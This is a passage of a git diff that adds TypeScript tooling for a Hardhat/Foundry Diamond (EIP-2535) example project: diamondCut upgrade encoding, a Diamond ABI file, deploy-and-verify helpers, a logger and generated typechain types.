+     * @param initData 初始化数据。
+     * @returns 返回编码后的升级合约数据。
+     */
+    encodeUpgrade = async (oldFacet: AddressLike, newFacet: BaseContract, init?: AddressLike, initData?: BytesLike) => {
+        return await this.encodeDo(oldFacet, newFacet, init, initData)
+    }
+
+    private do = async (oldFacet: AddressLike | undefined, newFacet: BaseContract, init?: AddressLike, initData?: BytesLike) => {
+        const data = await this.encodeDo(oldFacet, newFacet, init, initData)
+        if (this.diamond?.runner?.sendTransaction) {
+            const tx = await this.diamond.runner.sendTransaction({
+                to: this.diamond.address,
+                data: data
+            })
+            return await tx.wait()
+        }
+        throw new Error("Signer not exist!")
+    }
+
+    private encodeDo = async (oldFacet: AddressLike | undefined, newFacet: BaseContract, init?: AddressLike, initData?: BytesLike) => {
+        const chainSelectors = !oldFacet ? [] : await this.diamond.facetFunctionSelectors(oldFacet)
+        const localSelectors = Diamonds.parseSelectors(newFacet)
+        const onlyLocals = localSelectors.filter(item => !chainSelectors.includes(item))
+        const onlyChains = chainSelectors.filter(item => !localSelectors.includes(item))
+        const bothExists = chainSelectors.filter(chainSelector => {
+            for (let localSelector of localSelectors) {
+                if (chainSelector === localSelector) {
+                    return true
+                }
+            }
+        })
+        const cut = []
+        const newContractAddress = await newFacet.getAddress()
+        // 添加
+        if (onlyLocals.length) {
+            cut.push({
+                facetAddress: newContractAddress,
+                action: FacetCutAction.Add,
+                functionSelectors: onlyLocals
+            })
+        }
+        // 移除
+        if (onlyChains.length) {
+            cut.push({
+                facetAddress: ethers.ZeroAddress,
+                action: FacetCutAction.Remove,
+                functionSelectors: onlyChains
+            })
+        }
+        // 替换
+        if (bothExists.length) {
+            cut.push({
+                facetAddress: newContractAddress,
+                action: FacetCutAction.Replace,
+                functionSelectors: bothExists
+            })
+        }
+        if (cut.length == 0) throw new Error("Nothing need to upgrade!")
+        return this.diamond.interface.encodeFunctionData("diamondCut", [cut, init ?? ethers.ZeroAddress, initData ?? "0x"])
+    }
+}
+
diff --git a/basic/79-hardhat-foundry/scripts/libraries/abi/Diamond.json b/basic/79-hardhat-foundry/scripts/libraries/abi/Diamond.json
new file mode 100644
index 000000000..2ab77d4e4
--- /dev/null
+++ b/basic/79-hardhat-foundry/scripts/libraries/abi/Diamond.json
@@ -0,0 +1,240 @@
+[
+  {
+    "inputs": [
+      {
+        "internalType": "address",
+        "name": "_initializationContractAddress",
+        "type": "address"
+      },
+      {
+        "internalType": "bytes",
+        "name": "_calldata",
+        "type": "bytes"
+      }
+    ],
+    "name": "InitializationFunctionReverted",
+    "type": "error"
+  },
+  {
+    "anonymous": false,
+    "inputs": [
+      {
+        "components": [
+          {
+            "internalType": "address",
+            "name": "facetAddress",
+            "type": "address"
+          },
+          {
+            "internalType": "enum IDiamondCut.FacetCutAction",
+            "name": "action",
+            "type": "uint8"
+          },
+          {
+            "internalType": "bytes4[]",
+            "name": "functionSelectors",
+            "type": "bytes4[]"
+          }
+        ],
+        "indexed": false,
+        "internalType": "struct IDiamondCut.FacetCut[]",
+        "name": "_diamondCut",
+        "type": "tuple[]"
+      },
+      {
+        "indexed": false,
+        "internalType": "address",
+        "name": "_init",
+        "type": "address"
+      },
+      {
+        "indexed": false,
+        "internalType": "bytes",
+        "name": "_calldata",
+        "type": "bytes"
+      }
+    ],
+    "name": "DiamondCut",
+    "type": "event"
+  },
+  {
+    "inputs": [
+      {
+        "components": [
+          {
+            "internalType": "address",
+            "name": "facetAddress",
+            "type": "address"
+          },
+          {
+            "internalType": "enum IDiamondCut.FacetCutAction",
+            "name": "action",
+            "type": "uint8"
+          },
+          {
+            "internalType": "bytes4[]",
+            "name": "functionSelectors",
+            "type": "bytes4[]"
+          }
+        ],
+        "internalType": "struct IDiamondCut.FacetCut[]",
+        "name": "_diamondCut",
+        "type": "tuple[]"
+      },
+      {
+        "internalType": "address",
+        "name": "_init",
+        "type": "address"
+      },
+      {
+        "internalType": "bytes",
+        "name": "_calldata",
+        "type": "bytes"
+      }
+    ],
+    "name": "diamondCut",
+    "outputs": [],
+    "stateMutability": "nonpayable",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      {
+        "internalType": "bytes4",
+        "name": "_functionSelector",
+        "type": "bytes4"
+      }
+    ],
+    "name": "facetAddress",
+    "outputs": [
+      {
+        "internalType": "address",
+        "name": "facetAddress_",
+        "type": "address"
+      }
+    ],
+    "stateMutability": "view",
+    "type": "function"
+  },
+  {
+    "inputs": [],
+    "name": "facetAddresses",
+    "outputs": [
+      {
+        "internalType": "address[]",
+        "name": "facetAddresses_",
+        "type": "address[]"
+      }
+    ],
+    "stateMutability": "view",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      {
+        "internalType": "address",
+        "name": "_facet",
+        "type": "address"
+      }
+    ],
+    "name": "facetFunctionSelectors",
+    "outputs": [
+      {
+        "internalType": "bytes4[]",
+        "name": "_facetFunctionSelectors",
+        "type": "bytes4[]"
+      }
+    ],
+    "stateMutability": "view",
+    "type": "function"
+  },
+  {
+    "inputs": [],
+    "name": "facets",
+    "outputs": [
+      {
+        "components": [
+          {
+            "internalType": "address",
+            "name": "facetAddress",
+            "type": "address"
+          },
+          {
+            "internalType": "bytes4[]",
+            "name": "functionSelectors",
+            "type": "bytes4[]"
+          }
+        ],
+        "internalType": "struct IDiamondLoupe.Facet[]",
+        "name": "facets_",
+        "type": "tuple[]"
+      }
+    ],
+    "stateMutability": "view",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      {
+        "internalType": "bytes4",
+        "name": "_interfaceId",
+        "type": "bytes4"
+      }
+    ],
+    "name": "supportsInterface",
+    "outputs": [
+      {
+        "internalType": "bool",
+        "name": "",
+        "type": "bool"
+      }
+    ],
+    "stateMutability": "view",
+    "type": "function"
+  },
+  {
+    "anonymous": false,
+    "inputs": [
+      {
+        "indexed": true,
+        "internalType": "address",
+        "name": "previousOwner",
+        "type": "address"
+      },
+      {
+        "indexed": true,
+        "internalType": "address",
+        "name": "newOwner",
+        "type": "address"
+      }
+    ],
+    "name": "OwnershipTransferred",
+    "type": "event"
+  },
+  {
+    "inputs": [],
+    "name": "owner",
+    "outputs": [
+      {
+        "internalType": "address",
+        "name": "owner_",
+        "type": "address"
+      }
+    ],
+    "stateMutability": "view",
+    "type": "function"
+  },
+  {
+    "inputs": [
+      {
+        "internalType": "address",
+        "name": "_newOwner",
+        "type": "address"
+      }
+    ],
+    "name": "transferOwnership",
+    "outputs": [],
+    "stateMutability": "nonpayable",
+    "type": "function"
+  }
+]
diff --git a/basic/79-hardhat-foundry/scripts/libraries/deployLib.ts b/basic/79-hardhat-foundry/scripts/libraries/deployLib.ts
new file mode 100644
index 000000000..b8cb6673f
--- /dev/null
+++ b/basic/79-hardhat-foundry/scripts/libraries/deployLib.ts
@@ -0,0 +1,135 @@
+import {ethers, network, run} from "hardhat";
+import {BaseContract} from "ethers";
+import fs from "fs";
+import path from "path";
+import logger from "./logger";
+
+/*
+* deploy 批量部署合约(额外扩充属性:address)，参数: 合约名 || [合约名，构造参数列表]
+* 假设 Test.sol 的构造函数无参，Test1.sol 的构造函数参数为: uint256,uint256
+* 例子1: 单部署 Test.sol : batchDeploy("Test")
+* 例子2: 单部署 Test1.sol: batchDeploy(["Test1", [60, 0]])
+* 例子3: 批量部署 Test.sol + Test1.sol: batchDeploy("Test", ["Test1", [60, 0]])
+* */
+export async function deploy(isVerify: boolean, ...names: (string | [string, any[]])[]): Promise<(BaseContract & { address: string }) []> {
+    const instances = await _deploy(...names)
+    if (isVerify) {
+        if (network.name !== "hardhat") {
+            await new Promise(resolve => setTimeout(resolve, 1000))
+            logger.info("verify......")
+            await new Promise(resolve => setTimeout(resolve, 1000))
+            for (let i = 0; i < names.length; i++) {
+                let info = names[i]
+                if (typeof info === 'string') {
+                    await verify(info, instances[i].address)
+                } else {
+                    if (info.length != 2 || info[1] == undefined) {
+                        continue
+                    }
+                    await verify(info[0], instances[i].address, ...info[1])
+                }
+            }
+        } else {
+            logger.warning("[hardhat] verify ignored")
+        }
+    }
+    return instances
+}
+
+async function _deploy(...names: (string | [string, any[]])[]): Promise<(BaseContract & { address: string }) []> {
+    const accounts = await ethers.getSigners()
+    logger.log(`${"Deployer".padStart(20, "-")}  ${accounts[0].address} ${("[" + network.name + "]").padEnd(20, "-")}`)
+    const promFuncs = []
+    for (let info of names) {
+        promFuncs.push((async () => {
+            let name: string, prom: any;
+            if (typeof info === 'string') {
+                const Instance = await ethers.getContractFactory(info)
+                prom = Instance.deploy()
+                name = info
+            } else {
+                const Instance = await ethers.getContractFactory(info[0])
+                if (info.length != 2 || info[1] == undefined) {
+                    logger.error(`ERROR params: name = ${info[0]}, args = ${info[1]}`)
+                    // @ts-ignore
+                    return
+                }
+                prom = Instance.deploy(...info[1])
+                name = info[0]
+            }
+            prom.then(async (contract: any) => {
+                contract.address = await contract.getAddress()
+                logger.info(`${name.padEnd(20)}: ${contract.address} [DeployedHash: ${contract.deploymentTransaction().hash}]`)
+                return contract
+            }).catch((e: Error) => {
+                logger.info(`ERROR "${name}" Deployed Failed: args = [${typeof info === 'string' ? "null" : info[1]}] : ${e.message}`)
+            })
+            return prom
+        })())
+    }
+    const instances = (await Promise.all(await Promise.all(promFuncs))).filter((c) => c)
+    if (names.length != instances.length) {
+        logger.error("Error exist")
+        process.exit(1)
+    }
+    return instances;
+}
+
+// https://github.com/NomicFoundation/hardhat/tree/main/packages/hardhat-verify
+export async function verify(name: string, address: string, ...args: any) {
+    await run("verify:verify", {
+        contract: `${parseVerifyPath(name)}:${name}`,
+        address: address,
+        constructorArguments: args ?? [],
+    });
+}
+
+/**
+ * 查找contract文件的路径。
+ * 如果找不到，它会输出错误信息并退出程序。
+ * @param filename
+ * @param rootDir
+ * @returns contract文件路径
+ */
+function parseVerifyPath(filename: string, rootDir?: string): string {
+    let rootDirectory = rootDir ?? __dirname
+    while (1) {
+        let files = fs.readdirSync(rootDirectory)
+        if (files.includes("package.json") && files.includes("contracts")) {
+            rootDirectory = path.join(rootDirectory, files[files.indexOf("contracts")])
+            break
+        }
+        let newRootDirectory = path.join(rootDirectory, "../")
+        if (rootDirectory === newRootDirectory) {
+            logger.error(`Error: Can't find any contract project: from=${rootDirectory} to=${__dirname}`)
+            process.exit(1)
+        }
+        rootDirectory = newRootDirectory
+    }
+    if (!filename.endsWith(".sol")) {
+        filename = filename.trim() + ".sol"
+    }
+    let targetFile: string = "";
+    const findFile = (rootDirectory: string) => {
+        const files = fs.readdirSync(rootDirectory);
+        for (let file of files) {
+            const filePath = path.join(rootDirectory, file);
+            const stats = fs.statSync(filePath);
+            if (stats.isDirectory()) {
+                if (targetFile) return;
+                findFile(filePath);
+            } else if (stats.isFile()) {
+                if (file === filename) {
+                    targetFile = filePath
+                    return
+                }
+            }
+        }
+    }
+    findFile(rootDirectory)
+    if (!targetFile) {
+        logger.error(`Error: Can't find file: ${filename}`)
+        process.exit(1)
+    }
+    return targetFile.replace(rootDirectory, "contracts").replace(/\\/g, "/");
+}
diff --git a/basic/79-hardhat-foundry/scripts/libraries/logger.ts b/basic/79-hardhat-foundry/scripts/libraries/logger.ts
new file mode 100644
index 000000000..d372ecfa0
--- /dev/null
+++ b/basic/79-hardhat-foundry/scripts/libraries/logger.ts
@@ -0,0 +1,31 @@
+import chalk from "chalk";
+
+const log = (...message: any[]) => write(...plainObject(message));
+const success = (...message: any[]) => write(chalk.green(...plainObject(message)));
+const warning = (...message: any[]) => write(chalk.yellow(...plainObject(message)));
+const info = (...message: any[]) => write(chalk.blue(...plainObject(message)));
+const error = (...message: any[]) => write(chalk.red(...plainObject(message)))
+const debug = (...message: any[]) => write(chalk.whiteBright("🔧 [DEBUG]", ...plainObject(message)))
+const write = (...message: any[]): void => {
+    if (process.env.APP_ENV !== "test") {
+        // TODO 记录日志
+        console.log(...message);
+    }
+};
+const plainObject = (message: any[]): any[] => {
+    const wrapped: any[] = []
+    for (const item of message) {
+        if (typeof item === "object") {
+            try {
+                wrapped.push(JSON.stringify(item))
+            } catch (e) {
+                wrapped.push(item)
+            }
+        } else {
+            wrapped.push(item)
+        }
+    }
+    return wrapped
+};
+
+export default {success, warning, info, error, log, debug};
diff --git a/basic/79-hardhat-foundry/scripts/libraries/typechain-types/common.ts b/basic/79-hardhat-foundry/scripts/libraries/typechain-types/common.ts
new file mode 100644
index 000000000..192c895b7
--- /dev/null
+++ b/basic/79-hardhat-foundry/scripts/libraries/typechain-types/common.ts
@@ -0,0 +1,129 @@
+/* Autogenerated file. Do not edit manually. */
+/* tslint:disable */
+/* eslint-disable */
+import type {
+  FunctionFragment,
+  Typed,
+  EventFragment,
+  ContractTransaction,
+  ContractTransactionResponse,
+  DeferredTopicFilter,
+  EventLog,
+  TransactionRequest,
+  LogDescription,
+} from "ethers";
+
+export interface TypedDeferredTopicFilter<_TCEvent extends TypedContractEvent>
+  extends DeferredTopicFilter {}
+
+export interface TypedContractEvent<
+  InputTuple extends Array<any> = any,
+  OutputTuple extends Array<any> = any,
+  OutputObject = any
+> {
+  (...args: Partial<InputTuple>): TypedDeferredTopicFilter<
+    TypedContractEvent<InputTuple, OutputTuple, OutputObject>
+  >;
+  name: string;
+  fragment: EventFragment;
+  getFragment(...args: Partial<InputTuple>): EventFragment;
+}
+
+type __TypechainAOutputTuple<T> = T extends TypedContractEvent<
+  infer _U,
+  infer W
+>
+  ? W
+  : never;
+type __TypechainOutputObject<T> = T extends TypedContractEvent<
+  infer _U,
+  infer _W,
+  infer V
+>
+  ? V
+  : never;
+
+export interface TypedEventLog<TCEvent extends TypedContractEvent>
+  extends Omit<EventLog, "args"> {
+  args: __TypechainAOutputTuple<TCEvent> & __TypechainOutputObject<TCEvent>;
+}
+
+export interface TypedLogDescription<TCEvent extends TypedContractEvent>
+  extends Omit<LogDescription, "args"> {
+  args: __TypechainAOutputTuple<TCEvent> & __TypechainOutputObject<TCEvent>;
+}
+
+export type TypedListener<TCEvent extends TypedContractEvent> = (
+  ...listenerArg: [
+    ...__TypechainAOutputTuple<TCEvent>,
+    TypedEventLog<TCEvent>,
+    ...undefined[]
+  ]
+) => void;
+
+export type MinEthersFactory<C, ARGS> = {
+  deploy(...a: ARGS[]): Promise<C>;
+};
+
+export type GetContractTypeFromFactory<F> = F extends MinEthersFactory<
+  infer C,
+  any
+>
+  ? C
+  : never;
+export type GetARGsTypeFromFactory<F> = F extends MinEthersFactory<any, any>
+  ? Parameters<F["deploy"]>
+  : never;
+
+export type StateMutability = "nonpayable" | "payable" | "view";
+
+export type BaseOverrides = Omit<TransactionRequest, "to" | "data">;
+export type NonPayableOverrides = Omit<
+  BaseOverrides,
+  "value" | "blockTag" | "enableCcipRead"
+>;
+export type PayableOverrides = Omit<
+  BaseOverrides,
+  "blockTag" | "enableCcipRead"
+>;
+export type ViewOverrides = Omit<TransactionRequest, "to" | "data">;
+export type Overrides<S extends StateMutability> = S extends "nonpayable"
+  ? NonPayableOverrides
+  : S extends "payable"
+  ? PayableOverrides
+  : ViewOverrides;
+
+export type PostfixOverrides<A extends Array<any>, S extends StateMutability> =
+  | A
+  | [...A, Overrides<S>];
+export type ContractMethodArgs<
+  A extends Array<any>,
+  S extends StateMutability
+> = PostfixOverrides<{ [I in keyof A]-?: A[I] | Typed }, S>;
+
+export type DefaultReturnType<R> = R extends Array<any> ? R[0] : R;
+
+// export interface ContractMethod<A extends Array<any> = Array<any>, R = any, D extends R | ContractTransactionResponse = R | ContractTransactionResponse> {
+export interface TypedContractMethod<
+  A extends Array<any> = Array<any>,
+  R = any,
+  S extends StateMutability = "payable"
+> {
+  (...args: ContractMethodArgs<A, S>): S extends "view"
+    ? Promise<DefaultReturnType<R>>
+    : Promise<ContractTransactionResponse>;
+
+  name: string;
+
+  fragment: FunctionFragment;
+
+  getFragment(...args: ContractMethodArgs<A, S>): FunctionFragment;
+
+  populateTransaction(
+    ...args: ContractMethodArgs<A, S>
+  ): Promise<ContractTransaction>;
+  staticCall(...args: ContractMethodArgs<A, S>): Promise<DefaultReturnType<R>>;
+  send(...args: ContractMethodArgs<A, S>): Promise<ContractTransactionResponse>;
+  estimateGas(...args: ContractMethodArgs<A, S>): Promise<bigint>;
+  staticCallResult(...args: ContractMethodArgs<A, S>): Promise<R>;
+}
diff --git a/basic/79-hardhat-foundry/scripts/libraries/typechain-types/contracts/DiamondCutFacet.ts b/basic/79-hardhat-foundry/scripts/libraries/typechain-types/contracts/DiamondCutFacet.ts
new file mode 100644
index 000000000..082cbc33d
--- /dev/null
+++ b/basic/79-hardhat-foundry/scripts/libraries/typechain-types/contracts/DiamondCutFacet.ts
@@ -0,0 +1,164 @@
+/* Autogenerated file. Do not edit manually. */
+/* tslint:disable */
+/* eslint-disable */
+import type {
+  BaseContract,
+  BigNumberish,
+  BytesLike,
+  FunctionFragment,
+  Result,
+  Interface,
+  EventFragment,
+  AddressLike,
+  ContractRunner,
+  ContractMethod,
+  Listener,
+} from "ethers";
+import type {
+  TypedContractEvent,
+  TypedDeferredTopicFilter,
+  TypedEventLog,
+  TypedLogDescription,
+  TypedListener,
+  TypedContractMethod,
+} from "../common";
+
+export declare namespace IDiamondCut {
+  export type FacetCutStruct = {
+    facetAddress: AddressLike;
+    action: BigNumberish;
+    functionSelectors: BytesLike[];
+  };
+
+  export type FacetCutStructOutput = [
+    facetAddress: string,
+    action: bigint,
+    functionSelectors: string[]
+  ] & { facetAddress: string; action: bigint; functionSelectors: string[] };
+}
+
+export interface DiamondCutFacetInterface extends Interface {
+  getFunction(nameOrSignature: "diamondCut"): FunctionFragment;
+
+  getEvent(nameOrSignatureOrTopic: "DiamondCut"): EventFragment;
+
+  encodeFunctionData(
+    functionFragment: "diamondCut",
+    values: [IDiamondCut.FacetCutStruct[], AddressLike, BytesLike]
+  ): string;
+
+  decodeFunctionResult(functionFragment: "diamondCut", data: BytesLike): Result;
+}
+
+export namespace DiamondCutEvent {
+  export type InputTuple = [
+    _diamondCut: IDiamondCut.FacetCutStruct[],
+    _init: AddressLike,
+    _calldata: BytesLike
+  ];
+  export type OutputTuple = [
+    _diamondCut: IDiamondCut.FacetCutStructOutput[],
+    _init: string,
+    _calldata: string
+  ];
+  export interface OutputObject {
+    _diamondCut: IDiamondCut.FacetCutStructOutput[];
+    _init: string;
+    _calldata: string;
+  }
+  export type Event = TypedContractEvent<InputTuple, OutputTuple, OutputObject>;
+  export type Filter = TypedDeferredTopicFilter<Event>;
+  export type Log = TypedEventLog<Event>;
+  export type LogDescription = TypedLogDescription<Event>;
+}
+
+export interface DiamondCutFacet extends BaseContract {
+  connect(runner?: ContractRunner | null): DiamondCutFacet;
+  waitForDeployment(): Promise<this>;
+
+  interface: DiamondCutFacetInterface;
+
+  queryFilter<TCEvent extends TypedContractEvent>(
+    event: TCEvent,
+    fromBlockOrBlockhash?: string | number | undefined,
+    toBlock?: string | number | undefined
+  ): Promise<Array<TypedEventLog<TCEvent>>>;
+  queryFilter<TCEvent extends TypedContractEvent>(
+    filter: TypedDeferredTopicFilter<TCEvent>,
+    fromBlockOrBlockhash?: string | number | undefined,
+    toBlock?: string | number | undefined
+  ): Promise<Array<TypedEventLog<TCEvent>>>;
+
+  on<TCEvent extends TypedContractEvent>(
+    event: TCEvent,
+    listener: TypedListener<TCEvent>
+  ): Promise<this>;
+  on<TCEvent extends TypedContractEvent>(
+    filter: TypedDeferredTopicFilter<TCEvent>,
+    listener: TypedListener<TCEvent>
+  ): Promise<this>;
+
+  once<TCEvent extends TypedContractEvent>(
+    event: TCEvent,
+    listener: TypedListener<TCEvent>
+  ): Promise<this>;
+  once<TCEvent extends TypedContractEvent>(
+    filter: TypedDeferredTopicFilter<TCEvent>,
+    listener: TypedListener<TCEvent>
+  ): Promise<this>;
+
+  listeners<TCEvent extends TypedContractEvent>(
+    event: TCEvent
+  ): Promise<Array<TypedListener<TCEvent>>>;
+  listeners(eventName?: string): Promise<Array<Listener>>;
+  removeAllListeners<TCEvent extends TypedContractEvent>(
+    event?: TCEvent
+  ): Promise<this>;
+
+  diamondCut: TypedContractMethod<
+    [
+      _diamondCut: IDiamondCut.FacetCutStruct[],
+      _init: AddressLike,
+      _calldata: BytesLike
+    ],
+    [void],
+    "nonpayable"
+  >;
+
+  getFunction<T extends ContractMethod = ContractMethod>(
+    key: string | FunctionFragment
+  ): T;
+
+  getFunction(
+    nameOrSignature: "diamondCut"
+  ): TypedContractMethod<
+    [
+      _diamondCut: IDiamondCut.FacetCutStruct[],
+      _init: AddressLike,
+      _calldata: BytesLike
+    ],
+    [void],
+    "nonpayable"
+  >;
+
+  getEvent(
+    key: "DiamondCut"
+  ): TypedContractEvent<
+    DiamondCutEvent.InputTuple,
+    DiamondCutEvent.OutputTuple,
+    DiamondCutEvent.OutputObject
+  >;
+
+  filters: {
+    "DiamondCut(tuple[],address,bytes)": TypedContractEvent<
+      DiamondCutEvent.InputTuple,
+      DiamondCutEvent.OutputTuple,
+      DiamondCutEvent.OutputObject
+    >;
+    DiamondCut: TypedContractEvent<
+      DiamondCutEvent.InputTuple,
+      DiamondCutEvent.OutputTuple,
+      DiamondCutEvent.OutputObject
+    >;
+  };
+}
diff --git a/basic/79-hardhat-foundry/scripts/libraries/typechain-types/contracts/DiamondInit.ts b/basic/79-hardhat-foundry/scripts/libraries/typechain-types/contracts/DiamondInit.ts
new file mode 100644
index 000000000..483ce89fc
--- /dev/null
+++ b/basic/79-hardhat-foundry/scripts/libraries/typechain-types/contracts/DiamondInit.ts
@@ -0,0 +1,84 @@
+/* Autogenerated file. Do not edit manually. */
+/* tslint:disable */
+/* eslint-disable */
+import type {
+  BaseContract,
+  BytesLike,
+  FunctionFragment,
+  Result,
+  Interface,
+  ContractRunner,
+  ContractMethod,
+  Listener,
+} from "ethers";
+import type {
+  TypedContractEvent,
+  TypedDeferredTopicFilter,
+  TypedEventLog,
+  TypedListener,
+  TypedContractMethod,
+} from "../common";
+
+export interface DiamondInitInterface extends Interface {
+  getFunction(nameOrSignature: "init"): FunctionFragment;
+
+  encodeFunctionData(functionFragment: "init", values?: undefined): string;
+
+  decodeFunctionResult(functionFragment: "init", data: BytesLike): Result;
+}
+
+export interface DiamondInit extends BaseContract {
+  connect(runner?: ContractRunner | null): DiamondInit;
+  waitForDeployment(): Promise<this>;
+
+  interface: DiamondInitInterface;
+
+  queryFilter<TCEvent extends TypedContractEvent>(
+    event: TCEvent,
+    fromBlockOrBlockhash?: string | number | undefined,
+    toBlock?: string | number | undefined
+  ): Promise<Array<TypedEventLog<TCEvent>>>;
+  queryFilter<TCEvent extends TypedContractEvent>(
+    filter: TypedDeferredTopicFilter<TCEvent>,
+    fromBlockOrBlockhash?: string | number | undefined,
+    toBlock?: string | number | undefined
+  ): Promise<Array<TypedEventLog<TCEvent>>>;
+
+  on<TCEvent extends TypedContractEvent>(
+    event: TCEvent,
+    listener: TypedListener<TCEvent>
+  ): Promise<this>;
+  on<TCEvent extends TypedContractEvent>(
+    filter: TypedDeferredTopicFilter<TCEvent>,
+    listener: TypedListener<TCEvent>
+  ): Promise<this>;
+
+  once<TCEvent extends TypedContractEvent>(
+    event: TCEvent,
+    listener: TypedListener<TCEvent>
+  ): Promise<this>;
+  once<TCEvent extends TypedContractEvent>(
+    filter: TypedDeferredTopicFilter<TCEvent>,
+    listener: TypedListener<TCEvent>
+  ): Promise<this>;
+
+  listeners<TCEvent extends TypedContractEvent>(
+    event: TCEvent
+  ): Promise<Array<TypedListener<TCEvent>>>;
+  listeners(eventName?: string): Promise<Array<Listener>>;
+  removeAllListeners<TCEvent extends TypedContractEvent>(
+    event?: TCEvent
+  ): Promise<this>;
+
+  init: TypedContractMethod<[], [void], "nonpayable">;
+
+  getFunction<T extends ContractMethod = ContractMethod>(
+    key: string | FunctionFragment
+  ): T;
+
+  getFunction(
+    nameOrSignature: "init"
+  ): TypedContractMethod<[], [void], "nonpayable">;
+
+  filters: {};
+}
diff --git a/basic/79-hardhat-foundry/scripts/libraries/typechain-types/contracts/DiamondLoupeFacet.ts b/basic/79-hardhat-foundry/scripts/libraries/typechain-types/contracts/DiamondLoupeFacet.ts
new file mode 100644
index 000000000..f976e46f3
--- /dev/null
+++ b/basic/79-hardhat-foundry/scripts/libraries/typechain-types/contracts/DiamondLoupeFacet.ts
@@ -0,0 +1,168 @@
+/* Autogenerated file. Do not edit manually. */
+/* tslint:disable */
+/* eslint-disable */
+import type {
+  BaseContract,
+  BytesLike,
+  FunctionFragment,
+  Result,
+  Interface,
+  AddressLike,
+  ContractRunner,
+  ContractMethod,
+  Listener,
+} from "ethers";
+import type {
+  TypedContractEvent,
+  TypedDeferredTopicFilter,
+  TypedEventLog,
+  TypedListener,
+  TypedContractMethod,
+} from "../common";
+
+export declare namespace IDiamondLoupe {
+  export type FacetStruct = {
+    facetAddress: AddressLike;
+    functionSelectors: BytesLike[];
+  };
+
+  export type FacetStructOutput = [
+    facetAddress: string,
+    functionSelectors: string[]
+  ] & { facetAddress: string; functionSelectors: string[] };
+}
+
+export interface DiamondLoupeFacetInterface extends Interface {
+  getFunction(
+    nameOrSignature:
+      | "facetAddress"
+      | "facetAddresses"
+      | "facetFunctionSelectors"
+      | "facets"
+      | "supportsInterface"
+  ): FunctionFragment;
+
+  encodeFunctionData(
+    functionFragment: "facetAddress",
+    values: [BytesLike]
+  ): string;
+  encodeFunctionData(
+    functionFragment: "facetAddresses",
+    values?: undefined
+  ): string;
+  encodeFunctionData(
+    functionFragment: "facetFunctionSelectors",
+    values: [AddressLike]
+  ): string;
+  encodeFunctionData(functionFragment: "facets", values?: undefined): string;
+  encodeFunctionData(
+    functionFragment: "supportsInterface",
+    values: [BytesLike]
+  ): string;
+
+  decodeFunctionResult(
+    functionFragment: "facetAddress",
+    data: BytesLike
+  ): Result;
+  decodeFunctionResult(
+    functionFragment: "facetAddresses",
+    data: BytesLike
+  ): Result;
+  decodeFunctionResult(
+    functionFragment: "facetFunctionSelectors",
+    data: BytesLike
+  ): Result;
+  decodeFunctionResult(functionFragment: "facets", data: BytesLike): Result;
+  decodeFunctionResult(
+    functionFragment: "supportsInterface",
+    data: BytesLike
+  ): Result;
+}
+
+export interface DiamondLoupeFacet extends BaseContract {
+  connect(runner?: ContractRunner | null): DiamondLoupeFacet;
+  waitForDeployment(): Promise<this>;
+
+  interface: DiamondLoupeFacetInterface;
+
+  queryFilter<TCEvent extends TypedContractEvent>(
+    event: TCEvent,
+    fromBlockOrBlockhash?: string | number | undefined,
+    toBlock?: string | number | undefined
+  ): Promise<Array<TypedEventLog<TCEvent>>>;
+  queryFilter<TCEvent extends TypedContractEvent>(
+    filter: TypedDeferredTopicFilter<TCEvent>,
+    fromBlockOrBlockhash?: string | number | undefined,
+    toBlock?: string | number | undefined
+  ): Promise<Array<TypedEventLog<TCEvent>>>;
+
+  on<TCEvent extends TypedContractEvent>(
+    event: TCEvent,
+    listener: TypedListener<TCEvent>
+  ): Promise<this>;
+  on<TCEvent extends TypedContractEvent>(
+    filter: TypedDeferredTopicFilter<TCEvent>,
+    listener: TypedListener<TCEvent>
+  ): Promise<this>;
+
+  once<TCEvent extends TypedContractEvent>(
+    event: TCEvent,
+    listener: TypedListener<TCEvent>
+  ): Promise<this>;
+  once<TCEvent extends TypedContractEvent>(
+    filter: TypedDeferredTopicFilter<TCEvent>,
+    listener: TypedListener<TCEvent>
+  ): Promise<this>;
+
+  listeners<TCEvent extends TypedContractEvent>(
+    event: TCEvent
+  ): Promise<Array<TypedListener<TCEvent>>>;
+  listeners(eventName?: string): Promise<Array<Listener>>;
+  removeAllListeners<TCEvent extends TypedContractEvent>(
+    event?: TCEvent
+  ): Promise<this>;
+
+  facetAddress: TypedContractMethod<
+    [_functionSelector: BytesLike],
+    [string],
+    "view"
+  >;
+
+  facetAddresses: TypedContractMethod<[], [string[]], "view">;
+
+  facetFunctionSelectors: TypedContractMethod<
+    [_facet: AddressLike],
+    [string[]],
+    "view"
+  >;
+
+  facets: TypedContractMethod<[], [IDiamondLoupe.FacetStructOutput[]], "view">;
+
+  supportsInterface: TypedContractMethod<
+    [_interfaceId: BytesLike],
+    [boolean],
+    "view"
+  >;
+
+  getFunction<T extends ContractMethod = ContractMethod>(
+    key: string | FunctionFragment
+  ): T;
+
+  getFunction(
+    nameOrSignature: "facetAddress"
+  ): TypedContractMethod<[_functionSelector: BytesLike], [string], "view">;
+  getFunction(
+    nameOrSignature: "facetAddresses"
+  ): TypedContractMethod<[], [string[]], "view">;
+  getFunction(
+    nameOrSignature: "facetFunctionSelectors"
+  ): TypedContractMethod<[_facet: AddressLike], [string[]], "view">;
+  getFunction(
+    nameOrSignature: "facets"
+  ): TypedContractMethod<[], [IDiamondLoupe.FacetStructOutput[]], "view">;
+  getFunction(
+    nameOrSignature: "supportsInterface"
+  ): TypedContractMethod<[_interfaceId: BytesLike], [boolean], "view">;
+
+  filters: {};
+}
diff --git a/basic/79-hardhat-foundry/scripts/libraries/typechain-types/contracts/OwnershipFacet.ts b/basic/79-hardhat-foundry/scripts/libraries/typechain-types/contracts/OwnershipFacet.ts
new file mode 100644
index 000000000..78b6d35e4
--- /dev/null
+++ b/basic/79-hardhat-foundry/scripts/libraries/typechain-types/contracts/OwnershipFacet.ts
@@ -0,0 +1,143 @@
+/* Autogenerated file. Do not edit manually. */
+/* tslint:disable */
+/* eslint-disable */
+import type {
+  BaseContract,
+  BytesLike,
+  FunctionFragment,
+  Result,
+  Interface,
+  EventFragment,
+  AddressLike,
+  ContractRunner,
+  ContractMethod,
+  Listener,
+} from "ethers";
+import type {
+  TypedContractEvent,
+  TypedDeferredTopicFilter,
+  TypedEventLog,
+  TypedLogDescription,
+  TypedListener,
+  TypedContractMethod,
+} from "../common";
+
+export interface OwnershipFacetInterface extends Interface {
